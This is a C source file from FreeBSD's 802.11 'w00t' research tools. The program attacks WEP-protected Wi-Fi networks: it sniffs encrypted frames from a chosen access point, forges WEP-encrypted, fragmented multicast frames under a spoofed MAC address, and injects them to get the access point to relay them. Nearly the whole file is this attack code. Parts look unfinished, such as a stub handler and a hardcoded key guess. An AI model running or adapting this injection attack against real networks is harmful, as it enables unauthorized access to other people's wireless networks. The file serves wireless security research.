1 /*-
2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 *
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24 * SUCH DAMAGE.
25 *
26 * $FreeBSD: src/tools/tools/net80211/w00t/expand/expand.c,v 1.2 2009/07/24 15:31:22 sam Exp $
27 */
28 #include <sys/time.h>
29 #include <sys/types.h>
30 #include <sys/socket.h>
31 #include <sys/uio.h>
32 #include <netinet/in.h>
33 #include <arpa/inet.h>
34 #include <netinet/in_systm.h>
35 #include <netinet/ip.h>
36 #include <string.h>
37 #include <stdio.h>
38 #include <stdlib.h>
39 #include <unistd.h>
40 #include <fcntl.h>
41 #include <err.h>
42 #include <assert.h>
43 #include <zlib.h>
44 #include "w00t.h"
45
46 enum {
47 S_START = 0,
48 S_WAIT_RELAY,
49 };
50
51 struct queue {
52 struct ieee80211_frame *wh;
53 int len;
54
55 char *buf;
56 int live;
57 struct queue *next;
58 };
59
60 struct params {
61 int rx;
62 int tx;
63
64 int tap;
65
66 char mcast[5];
67 char mac[6];
68 char ap[6];
69
70 char prga[2048];
71 int prga_len;
72
73 int state;
74
75 struct queue *q;
76
77 char packet[2048];
78 int packet_len;
79 struct timeval last;
80
81 int seq;
82
83 unsigned char guess;
84 };
85
wanted(struct params * p,struct ieee80211_frame * wh,int len)86 int wanted(struct params *p, struct ieee80211_frame *wh, int len)
87 {
88 char *bssid, *sa;
89
90 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
91 bssid = wh->i_addr1;
92 sa = wh->i_addr2;
93 }
94 else {
95 bssid = wh->i_addr2;
96 sa = wh->i_addr3;
97 }
98
99 if (memcmp(bssid, p->ap, 6) != 0)
100 return 0;
101
102 if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
103 printf("Got non WEP packet...\n");
104 return 0;
105 }
106
107 /* my own shit */
108 if (memcmp(p->mac, sa, 6) == 0)
109 return 0;
110
111 return 1;
112 }
113
enque(struct params * p,char ** buf,struct ieee80211_frame * wh,int len)114 void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
115 {
116 struct queue *q = p->q;
117 int qlen = 0;
118 char *ret = NULL;
119 struct queue *last = NULL;
120
121 /* find a slot */
122 while (q) {
123 if (q->live)
124 qlen++;
125 else {
126 /* recycle */
127 ret = q->buf;
128 break;
129 }
130
131 last = q;
132 q = q->next;
133 }
134
135 /* need to create slot */
136 if (!q) {
137 q = (struct queue*) malloc(sizeof(*q));
138 if (!q)
139 err(1, "malloc()");
140 memset(q, 0, sizeof(*q));
141
142 /* insert */
143 if (!p->q)
144 p->q = q;
145 else {
146 assert(last);
147 last->next = q;
148 }
149 }
150
151 q->live = 1;
152 q->buf = *buf;
153 q->len = len;
154 q->wh = wh;
155
156 qlen++;
157
158 if (qlen > 5)
159 printf("Enque. Size: %d\n", qlen);
160 *buf = ret;
161 }
162
send_packet(struct params * p)163 void send_packet(struct params *p)
164 {
165 int rc;
166
167 rc = inject(p->tx, p->packet, p->packet_len);
168 if (rc == -1)
169 err(1, "inject()");
170 if (rc != p->packet_len) {
171 printf("Wrote %d/%d\n", rc, p->packet_len);
172 exit(1);
173 }
174
175 if (gettimeofday(&p->last, NULL) == -1)
176 err(1, "gettimeofday()");
177 }
178 #include <openssl/rc4.h>
send_mcast(struct params * p,unsigned char x)179 void send_mcast(struct params *p, unsigned char x)
180 {
181 struct ieee80211_frame *wh;
182 short *seq;
183 struct queue *q = p->q;
184 char *data, *ptr;
185 int len;
186 uLong crc = crc32(0L, Z_NULL, 0);
187 uLong *pcrc;
188 int i;
189 int need_frag = 0;
190 char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00";
191
192 assert(q);
193
194 /* 802.11 */
195 memset(p->packet, 0, sizeof(p->packet));
196 wh = (struct ieee80211_frame*) p->packet;
197 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
198 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
199 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
200 wh->i_fc[1] |= IEEE80211_FC1_WEP;
201
202 wh->i_dur[0] = 0x69;
203
204 memcpy(wh->i_addr1, p->ap, 6);
205 memcpy(wh->i_addr2, p->mac, 6);
206 memcpy(wh->i_addr3, p->mcast, 5);
207 wh->i_addr3[5] = x;
208
209 seq = (short*) wh->i_seq;
210 *seq = seqfn(p->seq++, 0);
211
212 /* IV */
213 data = (char*) (wh+1);
214 ptr = (char*) (q->wh+1);
215 memcpy(data, ptr, 3);
216
217 if (p->prga_len == 0) {
218
219 RC4_KEY k;
220 unsigned char key[8];
221
222 memset(&key[3], 0x61, 5);
223 memcpy(key, (q->wh+1), 3);
224 p->prga_len = 128;
225
226 RC4_set_key(&k, 8, key);
227 memset(p->prga, 0, sizeof(p->prga));
228 RC4(&k, p->prga_len, p->prga, p->prga);
229
230
231 #if 0
232 int ptl = q->len;
233 char *pt;
234
235 pt = known_pt(q->wh, &ptl);
236 ptr += 4;
237 p->prga_len = ptl;
238 for (i = 0; i < p->prga_len; i++)
239 p->prga[i] = ptr[i] ^ pt[i];
240 #endif
241 }
242
243 /* data */
244 data += 4;
245 memcpy(data, payload, sizeof(payload));
246 p->prga_len = 12;
247 len = p->prga_len + 1 - 4;
248
249 #if 1
250 if (len < sizeof(payload)) {
251 need_frag = len;
252 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
253 }
254 #endif
255
256 /* crc */
257 pcrc = (uLong*) (data+len);
258 *pcrc = crc32(crc, data, len);
259
260 /* wepify */
261 len += 4;
262 for (i = 0; i < (len); i++) {
263 assert( i <= p->prga_len);
264 data[i] ^= p->prga[i];
265 }
266 // data[i] ^= x;
267
268 len += sizeof(*wh);
269 p->packet_len = len + 4;
270 send_packet(p);
271
272 /* the data we sent is too fucking short */
273 if (need_frag) {
274 memset(data, 0, len);
275
276 /* 802.11 */
277 *seq = seqfn(p->seq-1, 1);
278 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
279
280 /* data */
281 len = sizeof(payload) - need_frag;
282 assert(len > 0 && len <= (p->prga_len - 4));
283 memcpy(data, &payload[need_frag], len);
284
285 /* crc */
286 crc = crc32(0L, Z_NULL, 0);
287 len = p->prga_len - 4;
288 pcrc = (uLong*) (data+len);
289 *pcrc = crc32(crc, data, len);
290
291 /* wepify */
292 len += 4;
293 for (i = 0; i < len; i++) {
294 assert( i < p->prga_len);
295 data[i] ^= p->prga[i];
296 }
297
298 len += sizeof(*wh) + 4;
299 p->packet_len = len;
300 send_packet(p);
301 }
302 }
303
send_queue(struct params * p)304 void send_queue(struct params *p)
305 {
306 struct queue *q = p->q;
307 int i;
308
309 assert(q);
310 assert(q->live);
311
312 for (i = 0; i < 5; i++) {
313 send_mcast(p, p->guess++);
314 }
315
316 p->state = S_WAIT_RELAY;
317 }
318
got_mcast(struct params * p,struct ieee80211_frame * wh,int len)319 void got_mcast(struct params *p, struct ieee80211_frame *wh, int len)
320 {
321 printf("ao\n");
322 }
323
read_wifi(struct params * p)324 void read_wifi(struct params *p)
325 {
326 static char *buf = NULL;
327 static int buflen = 4096;
328 struct ieee80211_frame *wh;
329 int rc;
330
331 if (!buf) {
332 buf = (char*) malloc(buflen);
333 if (!buf)
334 err(1, "malloc()");
335 }
336
337 rc = sniff(p->rx, buf, buflen);
338 if (rc == -1)
339 err(1, "sniff()");
340
341 wh = get_wifi(buf, &rc);
342 if (!wh)
343 return;
344
345 /* relayed macast */
346 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
347 IEEE80211_FC0_SUBTYPE_DATA) &&
348 (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
349 (memcmp(wh->i_addr2, p->ap, 6) == 0) &&
350 (memcmp(wh->i_addr1, p->mcast, 5) == 0) &&
351 (memcmp(p->mac, wh->i_addr3, 6) == 0)) {
352 got_mcast(p, wh, rc);
353 return;
354 }
355
356 /* data */
357 if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
358 IEEE80211_FC0_SUBTYPE_DATA)) {
359 if (!wanted(p, wh, rc))
360 return;
361
362 enque(p, &buf, wh, rc);
363 if (p->state == S_START)
364 send_queue(p);
365 return;
366 }
367 }
368
own(struct params * p)369 void own(struct params *p)
370 {
371 struct timeval tv;
372 struct timeval *to = NULL;
373 fd_set fds;
374 int tout = 10*1000;
375
376 if (p->state == S_WAIT_RELAY) {
377 int el;
378
379 /* check timeout */
380 if (gettimeofday(&tv, NULL) == -1)
381 err(1, "gettimeofday()");
382
383 el = elapsed(&p->last, &tv);
384
385 /* timeout */
386 if (el >= tout) {
387 if (p->q && p->q->live) {
388 send_queue(p);
389 el = 0;
390 } else {
391 p->state = S_START;
392 return;
393 }
394 }
395 el = tout - el;
396 tv.tv_sec = el/1000/1000;
397 tv.tv_usec = el - tv.tv_sec*1000*1000;
398 to = &tv;
399 }
400
401 FD_ZERO(&fds);
402 FD_SET(p->rx, &fds);
403
404 if (select(p->rx+1, &fds, NULL, NULL, to) == -1)
405 err(1, "select()");
406
407 if (FD_ISSET(p->rx, &fds))
408 read_wifi(p);
409 }
410
usage(char * name)411 void usage(char *name)
412 {
413 printf("Usage %s <opts>\n"
414 "-h\thelp\n"
415 "-b\t<bssid>\n"
416 "-t\t<tap>\n"
417 , name);
418 exit(1);
419 }
420
main(int argc,char * argv[])421 int main(int argc, char *argv[])
422 {
423 struct params p;
424 char *iface = "wlan0";
425 char *tap = "tap0";
426 int ch;
427
428 memset(&p, 0, sizeof(p));
429 memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
430 p.seq = getpid();
431 memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5);
432
433 while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
434 switch (ch) {
435 case 't':
436 tap = optarg;
437 break;
438
439 case 'b':
440 if (str2mac(p.ap, optarg) == -1) {
441 printf("Can't parse BSSID\n");
442 exit(1);
443 }
444 break;
445
446 case 'h':
447 default:
448 usage(argv[0]);
449 break;
450 }
451 }
452
453 if ((p.rx = open_rx(iface)) == -1)
454 err(1, "open_rx()");
455 if ((p.tx = open_tx(iface)) == -1)
456 err(1, "open_tx()");
457
458 if ((p.tap = open_tap(tap)) == -1)
459 err(1, "open_tap()");
460 if (set_iface_mac(tap, p.mac) == -1)
461 err(1, "set_iface_mac()");
462
463 p.state = S_START;
464 while (1)
465 own(&p);
466
467 exit(0);
468 }
469